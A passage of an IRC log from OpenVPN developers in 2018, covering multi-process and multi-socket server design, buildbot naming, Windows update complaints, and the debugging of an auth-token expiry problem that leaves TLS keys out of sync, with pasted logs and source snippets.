maintain two processes (two configs, two startup scripts, two status files, ...) 11:13 <@cron2> plus "a number of extremely interesting scripts for --client-connect and --learn-address to handle static user IPs, no matter which process they land on" 11:13 <@ordex> yeah, same issue here 11:13 < tincantech> ok .. if cron2 wants it and the other devs are happy to maintian it then i am not going to object any further .. but thanks for the info :) 11:14 <@ordex> tincantech: if there is any objection it wouldbe interesting to hear too 11:14 <@cron2> static IPs are important, because people sometimes open their VPN, ssh somewheree, the VPN breaks, reconnects to the *other* server, and if they get a different IP, their SSH session is broken 11:14 <@cron2> tincantech: we want it since years :-) - plaisthos and d12fk have been working on it already 11:14 <@cron2> whether I am actually *happy* with it depends quite a bit on what I find in the patches :) 11:14 < tincantech> ok :) i was not aware that it was so desirable :) 11:16 < tincantech> ordex: i did not actually have any objections .. but by asking, you have convinced me it is worthy ;) 12:06 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 21:54 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 246 seconds] 21:55 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 21:55 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Mon Apr 30 2018 02:54 <@ordex> :) 03:52 <@ordex> I already found a bug, but discussing the whole thing i smore important 09:02 < tincantech> I would like to migrate my debian 8 (obsolete) to Debian 9 (current stable) this will include buildbot .. any objections to that ? 09:26 <@cron2> tincantech: since the buildbot name includes "debian-85", a new install with a new name might be a better choice 09:27 <@cron2> (clone, update, remove buildbot directory, reconfig with debian-9 name) 09:51 < tincantech> cron2: sure, if mattock wants to go through that but it can just be noted that it is now debian 9 instead (or until a quiet time and change it then) but I really need to upgrade my debian soon 11:03 <@cron2> it is no good to have to remember that a buildbot called "debian85" is now really a "debian9" system 11:04 <@cron2> and you should question yourself on whether you want to use the buildslaves for anything else, so "need to upgrade my debian" is a funny argument for a buildbot... 11:08 < tincantech> i may have a work around 11:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Ping timeout: 256 seconds] 11:08 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 11:09 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ 11:11 < tincantech> but it will have to change eventually 11:17 < tincantech> also .. bad naming conventions cause bad operating proceedures 11:25 <@cron2> no, the point is "this is a debian85 buildslave", not "this is a buildslave running on some debian version not specified further" 11:25 <@cron2> if we break debian85 but debian9 works, we need to investigate *debian85* not "ubuntu 12" 11:25 <@cron2> this is why we have freebsd 7.4, freebsd 9, freebsd 10 and freebsd 11 buildslaves 11:26 <@cron2> and it makes no sense to upgrade them all to freebsd 12 :) 11:26 <@cron2> (but of course it makes no sense either to use an old version of anything for production work, it's for testing) 12:13 <@ordex> meh, implementing multiproto support is going to be quite terrifying 12:14 <@ordex> any reason why we have 2 different code baed for UDP Server vs TCP Server ? 12:14 <@ordex> I would have thought that using one approach only with "protocol specialized routines" would have been an easier strategy, but for some reason it seems we explicitly wanted to retain the original simple-udp-server code 12:15 <@ordex> s/baed/base/ 12:29 <@cron2> ordex: I have *no* idea, but I've always found it confusing 12:29 <@cron2> after all, if you have TCP, you need to handle multiple sockets anyway, so "just add UDP to that queue" shouldn't have been so hard... 12:42 <@ordex> cron2: partly right 12:43 <@ordex> the fact is that, even though we have 1 udp socket, we still have one TOP and miltiple CHILD_UDP multi_instance objects (which somehow all share the same socket), while in TCP we have one socket per child 12:43 <@ordex> cron2: but yeah, my work is going towards using the server_tcp implementation for all the childs (no matter if udp or tcp) 12:43 <@ordex> and then tweak micro behaviours based on their actual proto 12:44 <@ordex> should be also cleaner[tm] 13:25 <@cron2> ordex: well, the part "we need to sort out whether there is one-socket-per-child or one for all of them" is clear, and that the toplevel needs multiple listening sockets, too 13:26 <@cron2> the UDP childs can actually all happily write to the same socket (just copy the FD) as long as it's clear that only one read_fd need to passed to select()/poll() per UDP port... --- Day changed Tue May 01 2018 00:39 <@cron2> *yawn* 00:39 <@cron2> public holiday in DE today... which means "same amount of work, but kids are not @ school but keep disturbing me" 01:25 <@ordex> hehe 01:25 <@ordex> heh 01:25 <@ordex> cron2: good luck ! 08:26 < tincantech> windows ... 1803 has been shoved down my throat! 08:30 < tincantech> End Licence "Agreement" should be Licence Installation and Enforcement System 09:55 <@ecrist> One of the imagers at my new $job didn't uncheck the right boxes. I'm getting all sorts of cool ads in my Windows 10 start menu. 09:55 <@ecrist> https://secure-computing.net/files/start-ads.png 10:28 -!- lev__ [~lev@openvpn/corp/lev] has quit [Ping timeout: 264 seconds] 10:56 <@ecrist> mattock: blame me for those monit alerts 11:58 < tincantech> ecrist: ads for mine craft = click bait 11:58 < tincantech> Windows 1803 Officially Sucks ass 12:01 < kitsune1> smarter cortana, spiffier edge, I hear.. envy you :) 12:02 < tincantech> kitsune1: i'll swap this w10 i5 for anything you have to offer ! ;) 12:07 < kitsune1> am I allowed to wipe the disk and install what I like -- or a binding indentured servitude to Win10 comes with it? 12:09 < tincantech> oo .. good question ;) .. i reckon you have to suffer :D 12:09 < kitsune1> no thank you.. 12:10 < tincantech> After the "update" you have to answer about 6 questions which basically say "GIVE US ALL YOUR PERSONAL INFO or not" ? 12:10 < kitsune1> you can reset to previous version, cant you? 12:11 < tincantech> followed by "all these new microsoft services will be unavailable to you.." Good ! 12:11 < tincantech> Reset to Win7 you mean ? absolutely not .. past its sell by date and no longer an option .. blocked by win-update 12:12 < tincantech> and if you mean "roll back win10 to a previous version" you have not used Windows in a long time .. 12:13 < kitsune1> No rollback to 1709? 12:13 < tincantech> no cance 12:13 < tincantech> chance 12:13 < tincantech> it is still updating even tho i said no to updates while i am using it ..... 12:15 < tincantech> put it this way "Windows says: Tell us when you use your pc and we will not do updates at that time" .. what they really mean is we will hide updates from you at that time but we are not going to stop it 12:16 < tincantech> what if i say i use it from 8am to 12 midnight and then i turn it off .. as if M$ are not going to do it all behind my back 12:16 < tincantech> and .. they say we will not do this on a metered connection .. hmm .. i have not been able to find that setting 12:16 < kitsune1> Even if rollback is possible it would be better to try it after the current update is complete.. I thought when 1609 came there was a rollback option within 30 days or so? So that's no more an option with newer releases? 12:19 < tincantech> not that i can find .. it even says "we will continue to check for DAILY updates" ! 12:21 < tincantech> it is STILL downloading .. even tho the update is complete ! 12:21 < tincantech> 2.5Mbps currently downloading 12:23 < kitsune1> Start button > Settings > Update & security > Recovery and selecting Get started under Go back to the previous version of Windows 10 (quoting from https://support.microsoft.com/en-ca/help/12415/windows-10-recovery-options -- untested) 12:25 < tincantech> What a fucking CON .. when you actually go into "Active Hours" It says "We will not REBOOT your PC during these hours" ..... 12:25 < tincantech> yeah .. there is some options for rolling back actually .. but why bother they will just force it eventually anyway 12:37 < tincantech> i think it is finally finished .. 4hours of solid "fk you" 12:54 < tincantech> Everytime i turn something off M$ turn it back on again .. if i keep turning it off they update it so it cannot be turned off .. eg. Language bar: I know i am using fkn english .. i cannot uninstall US "English" even tho you idiots cannot spell .. so just get rid of "Eng" from the systray .. oh no we noticed you did not like that so we turned it back on and now you cannot turn it off .. 13:13 <@ordex> so, tomorrow's meeting should be confirmed I guess? 13:27 <@cron2> yes --- Day changed Wed May 02 2018 00:33 <@ordex> aloha 00:54 <@mattock> morning 02:49 -!- dazo [~dazo@openvpn/corp/developer/dazo] has quit [Ping timeout: 255 seconds] 02:54 -!- dazo [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 02:54 -!- mode/#openvpn-devel [+o dazo] by ChanServ 02:55 <@mattock> meeting today, correct? 02:55 <@ordex> yep 02:56 <@mattock> setting up the agenda 02:56 <@mattock> topics? 02:57 <@ordex> it's there already 02:57 <@mattock> \o/ 02:57 <@ordex> at least with the topic I had :D 02:57 <@mattock> I'm fine with that 02:59 <@mattock> sent the invitation 02:59 <@ordex> thanks! 05:44 -!- lev__ [~lev@openvpn/corp/lev] has joined #openvpn-devel 05:44 -!- mode/#openvpn-devel [+v lev__] by ChanServ 11:00 <@ordex> cron2: how do you feel about the networking API overall? going towards the right direction? :) happy? 11:04 <@ordex> I know you wanted to get something along those lines since a while, so I hope my work is close enough (or at least steerable towards) the direction you had in mind 11:05 <@cron2> ordex: well, not sure what I wanted, but this has promises of getting rid of single functions with many #ifdef TARGET_ in the same function 11:05 <@ordex> yeah 11:05 <@cron2> but the drawback is "the call graph of add-vpn-routes gets even deeper", with route.c:add_route() basically being reduced to a wrapper 11:06 <@cron2> we'll see 11:06 <@ordex> yeah 13:06 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Quit: ZNC - http://znc.in] 13:08 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:08 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:10 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Client Quit] 13:11 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 13:11 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 13:15 <@syzzer> ordex: in the multi-socket patch set, you say: "This patchset is an RFC because it requires feedback and testing, especially when used in client mode with all kind of weird options.". You mean this patch set might break client usage? Or do you expect a client might want multiple sockets too? 13:18 <@ordex> the former 13:18 <@syzzer> okay, then I still understand what you are doing 13:18 <@syzzer> I think :p 13:18 <@ordex> it touches the socket code so it would be nice to thoroughfully test client mode to be sure nothing broke 13:18 <@ordex> :D 13:21 <@cron2> have plaisthos build an android client with it and ship it as regular update 13:21 <@cron2> no better way to excercise weird client stuff 13:21 <@cron2> *duck* 13:22 <@plaisthos> ( 13:22 <@plaisthos> (: 13:27 <@ordex> :D 13:27 <@ordex> I like that! 13:44 < kitsune1> I would like to see that done with the Windows build to see how many Windows users are out there.. A perfectly non-intrusive way of gathering user statistics :) 14:34 <@dazo> non-intrusive? ;-) 16:37 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 18:15 -!- mode/#openvpn-devel [+o ordex_magno] by ChanServ 18:19 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has quit [Ping timeout: 240 seconds] 18:21 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 18:21 -!- mode/#openvpn-devel [+o syzzer] by ChanServ 19:33 < tincantech> Things .. | kitsune1 | I would like to see .. 19:34 < tincantech> 1. ipv6pf 19:35 < tincantech> 2. --pf-dir 19:35 < tincantech> 3. profit 19:36 < tincantech> 4. more underpant gnomes 19:41 < tincantech> s/underpant/underpants/ --- Day changed Thu May 03 2018 02:00 -!- ordex_magno is now known as ordex 02:35 -!- lev__ [~lev@openvpn/corp/lev] has quit [Remote host closed the connection] 02:40 -!- lev__ [~lev@openvpn/corp/lev] has joined #openvpn-devel 02:40 -!- mode/#openvpn-devel [+v lev__] by ChanServ 03:11 <@vpnHelper> RSS Update - tickets: #1060: iOS connecting via settings unpossible; Via App is working <https://community.openvpn.net/openvpn/ticket/1060> 07:07 <@vpnHelper> RSS Update - tickets: #1061: Client cannot reconnect because of pushed routes <https://community.openvpn.net/openvpn/ticket/1061> 11:51 -!- krzee [~k@openvpn/community/support/krzee] has quit [Ping timeout: 240 seconds] 11:53 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:53 -!- mode/#openvpn-devel [+v krzee] by ChanServ 12:05 <@cron2> why o why... 12:05 <@cron2> checking whether strstr works in linear time... no 12:05 <@cron2> why bother doing this check if there is no consequence to it... 12:06 <@ordex> cron2: you need somebody to talk to? 12:06 <@ordex> :D 12:09 <@cron2> ordex: I need to make FTPS work for a customer 12:09 <@cron2> they need to transfer data to someone, and *they* are unwilling to provide sftp "because we have ftps, it's the same letters, so must be same good, no?" 12:10 <@cron2> let alone the funky different modes that ftps can have, and that you need to tell lftp "use ftp://$host:port" if you want ftps in the "we start in cleartext and then switch over to TLS" mode, I need to make this work on AIX 12:10 <@cron2> and lftp seems to be buggy when built with openssl 12:10 <@ordex> argh 12:11 <@cron2> trying to build lftp with gnutls now 12:11 <@cron2> lftp configure has --with-openssl=$path 12:11 <@cron2> yay 12:12 <@cron2> lftp configure does *not* have --with-gnutls=$path, because gnutls is default, gnutls is great, and gnutls surely must have a .pc file so it can be found magically, no? 12:13 <@cron2> of course gnutls in its own is a major pain to build, because it wants nettle, which wants gmp 12:14 <@cron2> except if you build nettle without gmp (which can be done), then gnutls just explodes because it uses an old nettle function call which needs to be #define'ed to the new function, and that does not happen if you have nettle without gmp... 12:14 <@cron2> and half the time I am staring at configure runs that take ages and ages to find answers to highly interesting but totally irrelevant questions, like the one above 12:15 <@cron2> (... and then people wonder why I'm sometimes a bit reluctant to add extra compile-time dependencies to openvpn... :) ) 12:16 <@cron2> I think most of the software developers out there just hate admins and users 12:16 <@cron2> libtool: warning: '/usr/lib/libexpat.la' seems to be moved 12:16 <@cron2> copying selected object files to avoid basename conflicts... 12:16 <@cron2> "what the f..." 12:18 <@cron2> (as a side note: lftp wants c++11 features, but checks if strdup() exists...) 12:22 <@cron2> hrmph... lftp configure does import gnutls.pc settings into GNUTLS_INCLUDES=... but does not actually *use* them, so compilation blows up if gnutls is in a non-standard location... 14:27 < tincantech> QUESTION: Should auth-token renewal cause TUN/TAP reopen ? 15:50 <@cron2> no 16:11 < tincantech> seems that it does tho .. 16:14 < tincantech> https://dpaste.de/eE4Y 16:14 < tincantech> ^ --- Day changed Fri May 04 2018 02:48 <@cron2> hach... 02:48 <@cron2> https://hardenedbsd.org/article/shawn-webb/2018-04-30/hardenedbsd-switching-back-openssl 02:48 <@vpnHelper> Title: HardenedBSD Switching Back to OpenSSL | HardenedBSD (at hardenedbsd.org) 02:58 <@ordex> lol 02:58 <@ordex> seems like they are not really happy with how things break 02:58 <@cron2> I can not imagine how that could be 04:18 <@cron2> btw, thanks for listening yesterday evening :) 04:18 <@cron2> (in the end I managed to make it work, MUCH more easily than expected... perl's Net::FTP supports FTP/SSL just fine, and since the transfers are intended to be scripted, that just nicely made things even more easy...) 04:20 <@ordex> does it mean you speak perl? :P 04:20 <@cron2> $perl->speak("yes"); 04:21 <@cron2> perl and C are indeed my favourite programming languages to "get things done" 04:21 <@ordex> oh ok :) 04:34 -!- mode/#openvpn-devel [+o ordex] by ChanServ 04:46 <@dazo> Switching back to openssl these days seems to be much saner than continuing the libressl path. OpenSSL is now funded via Linux Foundation and unless I've missed some news, they still have two full time developers .... http://www.theregister.co.uk/2014/05/29/linux_foundation_core_infrastructure_initiative_update/ 04:46 <@vpnHelper> Title: Linux Foundation flings two full-time developers at OpenSSL • The Register (at www.theregister.co.uk) 04:46 <@dazo> before heartbleed, openssl was in a worrying condition. But lots of things has improved since then 06:55 <@dazo> https://twitter.com/Grumpyrocker/status/992336254669910016 06:57 <@ordex> cool! :D 07:01 <@dazo> This smells bad ... https://arstechnica.com/information-technology/2018/05/drive-by-rowhammer-attack-uses-gpu-to-compromise-an-android-phone/ 07:01 <@vpnHelper> Title: Drive-by Rowhammer attack uses GPU to compromise an Android phone | Ars Technica (at arstechnica.com) 07:03 < tincantech> dazo: mornin:) as you implemented --auth-gen-token .. are you aware that "auth-token renewal cause TUN/TAP reopen" ? 07:04 <@dazo> tincantech: is --persist-tun enabled? 07:05 <@dazo> but a bit puzzled when you say "auth-token renewal" .... auth-tokens can't be renewed currently. But auth-tokens are valuable during tunnel re-negotiation 07:05 <@dazo> so that's what I presume you're meaning 07:06 <@dazo> mattock: as you're the release master ... https://community.openvpn.net/openvpn/wiki/SupportedVersions this page probably needs to be slightly updated 07:06 <@vpnHelper> Title: SupportedVersions – OpenVPN Community (at community.openvpn.net) 07:08 < tincantech> dazo: when the token expires a new one is sent and that new token appears to thow: "NOTE: Pulled options changed on restart, will need to close and reopen TUN/TAP device." 07:09 <@dazo> got logs? 07:09 < tincantech> I posted this link : https://dpaste.de/eE4Y 07:09 <@dazo> ahh 07:09 < tincantech> yep :) 07:09 < tincantech> if not dropping privs then it all works fine .. 07:09 < tincantech> I expect this is not the intended way for this to work .. 07:10 <@dazo> Can you please use --verb 7 and re-test ... and see if the token value really changes? 07:10 < tincantech> I also was not sure if you were aware of the problem .. so there it is, I'll trac it if you want :) 07:10 <@dazo> It's a while since I looked the auth-gen-token stuff, but I do not recall implementing replacing the token 07:11 < tincantech> when not dropping privs it works as normal .. and I have run at verb 7 to confirm .. but there is something else 07:11 <@cron2> well, without looking at the logs, it seems the client takes the pushed token as part of the config MD5 check, so if a new token is pushed "SOMETHING HAS CHANGED! need to re-config!" 07:11 < tincantech> ahh ok .. that is what i needed to know :) 07:11 <@dazo> yeah, that's why I'd like to have a proper confirmation the token really did change 07:11 <@cron2> this is what happens for most options, unless the code knows "this is not relevant for tun/tap config" 07:12 <@cron2> but in any case, the code should classify the token option correctly, then :) 07:12 < tincantech> I have confirmed that the token did change (I can do it again if you want) ,, but this *only* happens using --auth-gen-token on the server 07:13 <@dazo> if ((session->opt->auth_token_generate) && (NULL == multi->auth_token)) 07:13 <@dazo> { 07:13 <@dazo> /* Server is configured with --auth-gen-token but no token has yet 07:13 <@dazo> * been generated for this client. Generate one and save it. 07:13 <@dazo> */ 07:14 <@dazo> if the client context (in the multi struct) is re-established, then the token will be re-generated ... but if it is the same client context on the server side, it is not possible that the client receives a new token 07:15 <@dazo> (that code snippet is from ssl_verify.c:1419 - verify_user_pass() ) 07:15 <@cron2> maybe a plugin is involved... 07:16 < tincantech> no plugins .. just example config plus the options I documented in that paste 07:16 <@ordex> but the client is reconnecting: 07:16 <@ordex> Thu May 3 20:27:34 2018 us=25020 [v3.ec.hell.srv.lucifer] Inactivity timeout (--ping-restart), restarting 07:16 <@ordex> Thu May 3 20:27:34 2018 us=25237 TCP/UDP: Closing socket 07:16 <@ordex> Thu May 3 20:27:34 2018 us=25273 SIGUSR1[soft,ping-restart] received, process restarting 07:16 <@ordex> Thu May 3 20:27:34 2018 us=25301 Restart pause, 5 second(s) 07:16 <@ordex> no? 07:16 < tincantech> yes 07:16 < tincantech> once the token epires 07:16 < tincantech> but I don't know if this is the desired behaviour ? 07:17 <@ordex> does the token "expire" ? 07:17 < tincantech> yes after 2 mins 07:17 <@dazo> it's set with a 3 minutes expiry in the pastebin 07:17 < tincantech> sorry .. after 3 mins 07:17 <@ordex> ok 07:17 <@dazo> and a reneg after 2 minutes 07:17 < tincantech> yep .. 07:18 <@dazo> you have a second "120" argument to --reneg-sec .... but that might be a copy-paste error. otherwise, openvpn should normally complain loudly and exit 07:18 <@ordex> dazo: but you said the token is no regenrated is the context is the same. what happens at expiration then? the same token is re-sent? 07:19 <@ordex> *if 07:19 <@dazo> hmmmm 07:20 < tincantech> dazo --reneg-sec 120 120 works fine .. removes jitter as i understand it 07:21 <@dazo> tincantech: --reneg-sec only takes a single argument 07:21 <@dazo> else if (streq(p[0], "reneg-sec") && p[1] && !p[2]) 07:21 <@dazo> { 07:21 <@dazo> VERIFY_PERMISSION(OPT_P_TLS_PARMS); 07:21 <@dazo> options->renegotiate_seconds = positive_atoi(p[1]); 07:21 <@ordex> from the log it seems that: 1) client reconnects due to some timeout 2) exit-notify is set so the server also closes the session 3) client reconnects 4) clients gets a new token because the server has reinstantiated the session 5) client dies because can't reconfigure 07:21 <@dazo> } 07:22 < tincantech> this is git not 2.4.x 07:22 <@dazo> from prepare_push_reply() [push.c:401] 07:22 <@dazo> /* If server uses --auth-gen-token and we have an auth token 07:22 <@dazo> * to send to the client 07:22 <@dazo> */ 07:22 <@dazo> if (false == tls_multi->auth_token_sent && NULL != tls_multi->auth_token) 07:22 <@dazo> { 07:22 <@dazo> push_option_fmt(gc, push_list, M_USAGE, 07:22 <@dazo> "auth-token %s", tls_multi->auth_token); 07:22 <@dazo> so it smells like the client session context is wiped on the server side 07:23 <@ordex> well there is a disconnection not triggered by any token in between 07:23 <@ordex> I think that is what is wiping the session, no? 07:23 <@ordex> this >>> Thu May 3 20:27:34 2018 us=25020 [v3.ec.hell.srv.lucifer] Inactivity timeout (--ping-restart), restarting 07:23 <@dazo> yeah, I think so too 07:24 < tincantech> master: openvpn.8 .B \-\-reneg\-sec max [min] 07:24 <@dazo> so we need to understand why this timeout appears 07:24 <@ordex> so it's a USR1 reconnection, but the client can't reconfigure the interface 07:24 <@ordex> maybe it's unrelated to the token mechanism (?) 07:24 <@dazo> tincantech: ahh, you run 2.4.6 on client and git master on server? 07:24 < tincantech> it *only* happens when the token expires .. 07:25 <@dazo> yeah, this is not directly related to tokens .... it's just the tokens making this issue surface more easily 07:25 < tincantech> ahh .. i had not realised the doiff versions .. i can try both with master now 07:26 <@ordex> dazo: I still believe cron2 was right: the token should not be part of the config MD5 check 07:28 <@dazo> yeah, I can somewhat agree to that ... but that just hides the inactivity issue we're seeing here .... I'd like to understand why that's happening 07:28 <@dazo> because otherwise, the client session context shouldn't be wiped - thus the push shouldn't cause this client tun/tap re-config 07:30 <@ordex> yup 07:30 <@ordex> they are just disjoint and happened to push each other :D 07:30 <@ordex> do we have the server log? it may explain why the inactivity timeout was triggered 07:31 <@ordex> (unless it was just a connectivity issue) 07:31 < tincantech> i can post full logs .. 07:31 < tincantech> would you like me to trac this ? 07:32 <@ordex> maybe we could check the server log first? 07:32 <@ordex> that may gives a clue as of the cause 07:35 <@dazo> agreed 07:35 * tincantech is waiting for timeouts 07:36 < tincantech> narrator: first reneg happens no problem 07:37 < tincantech> 3 renegs ok 07:38 < tincantech> urg .. have to set it up proerly again .. i must have been fiddling last night 07:39 <@ordex> or the "timeout" was really just some network glitch (?) 07:39 <@ordex> or you've seen it consistently happening after the same amount of time? 07:40 < tincantech> no .. this is not an error by me .. i have been looking into it for 3 days .. 07:43 < tincantech> I'll do verb 7 and paste another page 07:45 < tincantech> when i say not an error by me .. i mean i don't know what is expected behaviour .. so it could be my mistake 07:46 <@ordex> well, regardless of the "Expected" behaviour, I was curious if you have been seeing *this* behaviour consistently, meaning: you could reproduce it fairly easily 07:48 < tincantech> yeah .. it is 100% reproducable 07:48 < tincantech> doing so now 07:48 <@ordex> ok 07:48 <@ordex> then the server log during the issue should definitely be helpful :) 07:49 < tincantech> on its way ;) 07:49 <@ordex> :) 08:31 < tincantech> ok .. sorry for the delay : https://dpaste.de/MM3k 08:31 < tincantech> as much info as i can give 08:32 < tincantech> the push route in 08:32 < tincantech> CCD should read push "route 10.63.110.1" 08:32 < tincantech> or maybe not 08:38 <@ordex> it seems that something wrong is happening on the SSL side. at some point the PING packets get no reply anymore: Fri May 4 13:58:14 2018 us=971290 v3.ec.hell.cli.imp/92.8.108.41:1195 TLS Error: local/remote TLS keys are out of sync: [AF_INET]92.8.108.41:1195 [2] 08:38 <@ordex> I guess this leads to the inactivity timeout 08:38 < tincantech> i believe that happens when the token expiress .. 08:39 <@ordex> I don't think the token is involved in any tls key logic 08:39 < tincantech> token expires at exactly that moment .. 08:39 <@ordex> that may only kick in during the reneg, but this is happening in the middle of a session 08:40 <@ordex> uhm? at 13:58:10 ? how do you know? 08:40 < tincantech> reneg-sec at 120 .. token epires at 180 08:41 <@ordex> yes? 08:42 <@ordex> the token was generated at 13:53:11 08:43 < tincantech> i can do it again at verb4 .. easier to read 08:43 < tincantech> will do now 08:43 <@ordex> I think this is ok already 08:43 < tincantech> won't take long 08:43 <@ordex> as you wish, but I can read this 08:44 < tincantech> ok .. well all i am saying then is i don't know what is expected but this is what does happen 08:44 <@ordex> dazo: for some reason the client is changing key ID 08:44 <@ordex> from 08:44 <@ordex> Fri May 4 13:57:13 2018 us=662940 TLS: tls_pre_encrypt: key_id=1 08:44 <@ordex> to 08:45 <@ordex> Fri May 4 13:58:19 2018 us=100205 TLS: tls_pre_encrypt: key_id=2 08:45 <@ordex> this is when the key gets out of sync 08:45 <@ordex> tincantech: sure, just trying to figure out what is actually happening 08:45 <@dazo> hmmm 08:45 <@ordex> at the lower level 08:46 < tincantech> i don't expect anything .. just feeding back ;) 08:46 <@ordex> dazo: when would the client change key like that? when it is getting close to a reneg? this is 50% reneg time more or less 08:46 <@ordex> decrypt key_id stays 1, only the encrypt is changing 08:48 <@dazo> I wonder if this is tied to --hand-window or --tran-window .... I remember having some challenges with too short --reneg-sec ... this is a different issue, but smells related (I had a challenge where the key rotation stopped working, as it happened too fast) 08:48 * dazo looks more carefully at the logs 08:49 < tincantech> i can change anything you like to change and try again 08:50 < tincantech> i did have this set at higher timeouts because i too have experienced timing issues but this behaved the same at higher timeouts (at least i think it did) 08:57 <@ordex> tincantech: could you paste the entire client log without snipped parts? 08:59 <@dazo> Fri May 4 13:53:12 2018 us=222233 v3.ec.hell.cli.imp/92.8.108.41:1195 TLS Warning: no data channel send key available: [key#0 state=S_ACTIVE id=0 sid=c7ded4f0 6258ebb2] [key#1 state=S_UNDEF id=0 sid=00000000 00000000] [key#2 state=S_UNDEF id=0 sid=00000000 00000000] 08:59 <@dazo> Hmmm 08:59 <@dazo> this is odd 09:01 <@dazo> And then these "TLS Error: local/remote TLS keys are out of sync: " errors 09:05 < tincantech> ordex: full client log: https://dpaste.de/GnLp 09:07 <@dazo> something is messed up with the key rotation 09:07 <@ordex> yeah seems so 09:08 <@dazo> client switches from key_id=1 to to around 13:58:10 09:08 <@dazo> to 2 09:09 <@ordex> yap, like if the current session is invalidated? 09:09 <@dazo> yeah 09:09 <@dazo> but on the client side? 09:10 <@dazo> that's what's confusing me 09:10 <@dazo> it's the client doing the rotation 09:11 <@ordex> yeah 09:11 <@dazo> tincantech: please remove "replay-window 32 15" and see if the issue still appears 09:12 < tincantech> sure .. shall i increase any thing else ? 09:13 <@dazo> I'm also seeing yout push "ping-restart 10" ... and do: setenv UV_PINGR 60 09:13 <@dazo> not sure which tails bites which tail 09:14 <@dazo> and it would be good to do a reference check with this config setup which we know breaks - using 2.4.6 on both sides, to see if it's a regression in git master 09:15 < tincantech> setenv UV_PINGR hooks into a script which I am not using for this setup 09:15 < tincantech> I'll try both versions 09:15 <@dazo> ehm .... you also set --tls-timeout to 10 09:15 * dazo double checks a few things 09:16 <@dazo> okay, kick out the UV_PING/UV_PINGR then 09:17 < tincantech> ok 09:17 <@dazo> I'm somewhat surprised "auth RSA-SHA512" works though .... RSA doesn't have anything to do with --auth 09:18 < tincantech> it's an old name .. mbedtls has already dropped it 09:19 < tincantech> i just have to step away for a few mins .. i've made the canges requested .. it you spot anything else let me know and i'll do it all in a while ~30 mins 09:21 <@dazo> sure 09:50 < tincantech> ok .. i'm starting that test now 09:56 < tincantech> ok .. same thing appears to happen .. i'll just paste complete logs verb 7 in two pastes 09:57 < tincantech> server : https://dpaste.de/gZKy 09:59 < tincantech> client : https://dpaste.de/M4zU 10:00 * dazo gotta head for a train ... will look more into it later 10:01 < tincantech> no problem :) 10:03 < tincantech> fyi : that was version 246 client 245 server -- had to change to "--reneg-sec 120" only (no jitter in 245) 10:10 <@ordex> yeah the same happens. the client switches to key_id 2 10:13 < tincantech> i'll just double check I made all the changes to the configs 10:17 < tincantech> yeah .. i am positive i made all the requested changes 10:18 <@ordex> tincantech: do you have any transition_window in your config? 10:18 <@ordex> just checking what could affect this behaviour.. 10:18 < tincantech> no .. i did mess about with that option before but not for these tests and i double checked too 10:19 <@ordex> oky 10:20 < tincantech> if you want me to try anything please ask :) 10:20 < tincantech> i was thinking maybe tcp but then what diff would that make ? 10:25 <@ordex> nah 10:25 <@ordex> nothing, exactly 10:25 <@ordex> this is something inside the openvpn protocol that is turning wrong 10:28 < tincantech> ok .. thanks for your time duud ;) it must be late there ? 10:28 < tincantech> cool email from OSTIF ! 10:32 <@ordex> uhm, aren't ACKs only used for control packets? 10:32 <@ordex> it would be a nightmare if they were used for DATA packets too 10:32 < tincantech> you mean the email from OSTIF right ? 10:33 <@cron2> as far as I udnerstand, only control plane is "reliable", that is, ACK+resend+queue+... 10:33 <@cron2> DATA is just fire and forget 10:33 <@cron2> (unless "over TCP") 10:33 <@ordex> right 10:33 <@ordex> that has always been my understanding too 10:33 <@ordex> cron2: maybe you could point that out to Derrek? 10:33 <@ordex> tincantech: yes 10:33 <@cron2> the interesting part is why his measurements show same performance over UDP and over TCP... I would expect TCP to be slower, due to its own extra stuffing 10:33 <@ordex> *Derek 10:33 <@plaisthos> cron2: yes, I already answered that 10:34 <@ordex> cron2: it is also weird that it is "capped to 25% of the line" no matter the rest 10:34 <@cron2> nice :) 10:34 <@cron2> yes indeed, his measurements are... interesting 10:34 <@ordex> well, we know nothing about them :) so speculation can be high :P 10:34 <@cron2> but we know we have performance limitations, and it would be good to finally figure out why :) 10:35 <@ordex> do we? :) 10:35 <@plaisthos> ordex: the openvpn2 code base has 10:35 <@ordex> plaisthos: yeah, but I have never seen anybody measuring that, yet 10:37 < tincantech> "never seen anybody /competently/ measuring that" .. loads of complaints on the firum all the time ;) (I know it's the forum .. bah!) 10:38 <@plaisthos> tincantech: there a lot measurement that are so unscientific that they are not really helpful in figureing what is going on 10:39 < tincantech> i know .. just crackin' wise ;) 10:39 <@plaisthos> doing good measurements is astonishingly difficult 10:39 <@ordex> well, we know "it can be faster" :P I am just speaking of seeing numbers and a repetible test + a reference. not saying there is "no perf problem", just that nobody has probably ever put effort into measuring that for real 10:39 <@plaisthos> and even a lot of scientific paper do measurements that are not worth it 10:40 <@ordex> last time I wrote a paper we decided the measurements to publish based on the results :P "this is bad, this too..ahhh! this is good! publish this!" 10:40 <@ordex> :D 10:40 < tincantech> I have measured mine to a freind line speed with remarkable accuracy over the vpn :) 10:40 <@ordex> tincantech: that way you measure the difference between the VPN speed and the line speed 10:40 <@ordex> I guess? 10:40 < tincantech> Virgin to BT as well ... so some backbone in there maybe 10:41 < tincantech> ordex: i measure what I can push thru the VPN and it comes out as more or less exactly the lowest upload speed 10:41 <@ordex> what does it tell us? 10:42 < tincantech> or doenload depending on direction 10:42 < tincantech> for me .. my tests have always shown that openvpn on a consumer grade internet works exactly as expected .. but I 